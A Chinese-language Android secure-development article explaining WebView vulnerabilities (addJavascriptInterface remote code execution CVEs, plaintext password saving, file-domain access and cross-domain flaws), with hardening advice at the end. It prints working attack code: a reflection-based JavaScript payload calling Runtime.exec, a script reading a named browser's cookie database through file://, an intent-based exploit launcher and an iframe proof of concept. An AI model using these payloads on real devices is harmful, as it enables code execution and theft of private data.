Android安全開發之WebView中的地雷

  • 0X01 About WebViewhtml

在Android開發中,常常會使用WebView來實現WEB頁面的展現,在Activiry中啓動本身的瀏覽器,或者簡單的展現一些在線內容等。WebView功能強大,應用普遍,但它是天使與惡魔的合體,一方面它加強了APP的上網體驗,讓APP功能更多樣化,另外一方面它也引入了不少的安全問題。在過去幾年WebView中被披露的重大漏洞包括了任意代碼執行漏洞、跨域、密碼明文保存等,這些安全問題能夠直接致使用戶敏感信息泄露,移動終端被惡意攻擊者控制。下文將詳細介紹這一系列安全問題,羅列相關的一些案列,並提供相應安全開發建議。
 java

  • 0X02 WebView任意代碼執行漏洞android

已知的WebView任意代碼執行漏洞有4個。較早被公佈是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會引發遠程代碼執行漏洞。接着是CVE-2013-4710,針對某些特定機型會存在addJavascriptInterface API引發的遠程代碼執行漏洞。以後是CVE-2014-1939爆出WebView中內置導出的「searchBoxJavaBridge_」Java Object可能被利用,實現遠程任意代碼。再後來是CVE-2014-7224,相似於CVE-2014-1939,WebView內置導出「accessibility」和「accessibilityTraversal」兩個Java Object接口,可被利用實現遠程任意代碼執行。
後文咱們將圍繞下面這段常見的示例代碼展開:
WebView mWebView = (WebView)findViewById(R.id.webView); 
①WebSettings msetting = mWebView.getSettings(); 
②msetting.setJavaScriptEnabled(true); 
③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs"); 
④mWebView.loadUrl(getIntent().getStringExtra("url"));
 
CVE-2012-6636
Android系統爲了方便APP中Java代碼和網頁中的Javascript腳本交互,在WebView控件中實現了addJavascriptInterface接口,對應示例代碼中的③,網頁中的JS腳本能夠利用接口「myjs」調用App中的Java代碼,而Java對象繼承關係會致使不少Public的函數及getClass函數均可以在JS中被訪問,結合Java的反射機制,攻擊者還能夠得到系統類的函數,進而能夠進行任意代碼執行。漏洞在2013年8月被披露後,不少APP都中招,其中瀏覽器APP成爲重災區。但截至目前任有不少APP中依然存在此漏洞,與以往不一樣的只是攻擊入口發生了必定的變化。另外咱們也發現一些小廠商的APP開發團隊由於缺少安全意識,依然還在APP中爲所欲爲的使用addjs接口,明目張膽踩雷。
出於安全考慮,Google在API 17中規定容許被調用的函數必須以@JavascriptInterface進行註解,理論上若是APP依賴的API爲17或者以上,就不會受該問題的影響。但部分機型上,API 17依然受影響,而且若是APP存在此漏洞,且targetsdk小於17,那漏洞的影響能夠覆蓋到android4.4的終端,若是大於等於17,只能在android4.2的機型上觸發,因此前一種狀況的危害目前來看依舊很大。
 
CVE-2014-1939
在2014年發如今Android4.4如下的系統中,webkit中默認內置了「searchBoxJavaBridge_」, 代碼位於「java/android/webkit/BrowserFrame.java」,該接口一樣存在遠程代碼執行的威脅。
 
CVE-2014-7224
在2014年,研究人員Daoyuan Wu和Rocky Chang發現,當系統輔助功能服務被開啓時,在Android4.4如下的系統中,由系統提供的WebView組件都默認導出"accessibility" 和"accessibilityTraversal"這兩個接口,代碼位於「android/webkit/AccessibilityInjector.java」,這兩個接口一樣存在遠程任意代碼執行的威脅。
 
常見掛馬頁面web

function addJsHack(cmdArgs){
    for (var obj in window)
    { try {
            if ("getClass" in window[obj]) {
                try{
                    window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;
                }catch(e){
                }  
            }
        } catch(e) {
        }
    }
}
addJsHack()

 
 
掃碼攻擊
圖片來自於某漏洞收集平臺,經過二維碼掃描觸發WebView任意代碼執行漏洞:
圖片描述跨域

以聚美優品爲例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相關代碼位於瀏覽器

com.jm.android.jumei.controls.JuMeiCustomWebView.java中:
public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) { 
    ...... 
    this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME); 
}
 
  • 0X03 WebView密碼明文存儲漏洞安全

 
WebView默認開啓密碼保存功能mWebView.setSavePassword(true),若是該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,若是選擇"是",密碼會被明文保到/data/data/com.package.name/databases/webview.db
圖片描述
 服務器

  • 0X04 WebView域控制不嚴格漏洞cookie

 

setAllowFileAccesside

Android中默認mWebView.setAllowFileAccess(true),在File域下,可以執行任意的JavaScript代碼,同源策略跨域訪問可以對私有目錄文件進行訪問等。APP對嵌入的WebView未對file:/// 形式的URL作限制,會致使隱私信息泄露,針對IM類軟件會致使聊天信息、聯繫人等等重要信息泄露,針對瀏覽器類軟件,則更多的是cookie信息泄露。
 
setAllowFileAccessFromFileURLs

在JELLY_BEAN之前的版本默認是setAllowFileAccessFromFileURLs(true),容許經過file域url中的Javascript讀取其餘本地文件,在JELLY_BEAN及之後的版本中默認已被是禁止。
 

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN之前的版本默認是setAllowUniversalAccessFromFileURLs(true),容許經過file域url中的Javascript訪問其餘的源,包括其餘的本地文件和http,https源的數據。在JELLY_BEAN及之後的版本中默認已被禁止。
 

360手機瀏覽器缺陷可致使用戶敏感數據泄漏

以360手機瀏覽器4.8版本爲例,因爲未對file域作安全限制,惡意APP調用360瀏覽器加載本地的攻擊頁面(好比惡意APP釋放到SDCARD上的一個HTML)後,就能夠獲取360手機瀏覽器下的全部私有數據,包括webviewCookiesChromium.db下的cookie內容,攻擊頁面關鍵代碼:

function getDatabase() {  
    var request = false;
    if(window.XMLHttpRequest) {
     request = new XMLHttpRequest();
      if(request.overrideMimeType) {
           request.overrideMimeType('text/xml');}
    }
    xmlhttp = request;
    var prefix = "file:////data/data/com.qihoo.browser/databases";
    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
    var path = prefix.concat(postfix);
    // 獲取本地文件代碼
    xmlhttp.open("GET", path, false);
    xmlhttp.send(null);
    var ret = xmlhttp.responseText;
    return ret;
}

漏洞利用代碼:

copyFile(); //自定義函數,釋放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
  • 0X05 WebView file跨域漏洞

Android 2.3 webkit或者瀏覽器APP自建內核中會存在此類跨域漏洞。在處理轉跳時存在漏洞,致使容許從http域跨向file域,實現跨域漏洞。以某瀏覽器4.5.0.511版本爲例,寫一個html,命名爲filereach.html,存放在服務器上。該瀏覽器4.5.0.511的X5內核存在http域跨file域的漏洞。POC代碼以下所示:

<iframe name=f src="www.baidu.com" ></iframe>
<script>
    function init(){
        f.location = "file:///default.prop";
    }
    setTimeout(init,5000)
</script>

在瀏覽器中打開服務器上的filereach.html,將從http域跳轉到file域

  • 0X06安全開發建議

1)使用騰訊御安全類漏洞掃描工具進行基礎開發漏洞檢測定位;
2)建議開發者經過如下方式移除該JavaScript接口:

removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal")

3)出於安全考慮,爲了防止Java層的函數被隨便調用,Google在4.2版本以後,規定容許被調用的函數必須以@JavascriptInterface進行註解
4)經過WebSettings.setSavePassword(false)關閉密碼保存提醒功能
5)經過如下設置,防止越權訪問,跨域等安全問題: 

setAllowFileAccess(false)
setAllowFileAccessFromFileURLs(false)
setAllowUniversalAccessFromFileURLs(false)

 

  • 0X07參考信息
     

https://cve.mitre.org/cgi-bin...
https://cve.mitre.org/cgi-bin...
https://cve.mitre.org/cgi-bin...
https://cve.mitre.org/cgi-bin...
http://drops.wooyun.org/webvi...

相關文章
相關標籤/搜索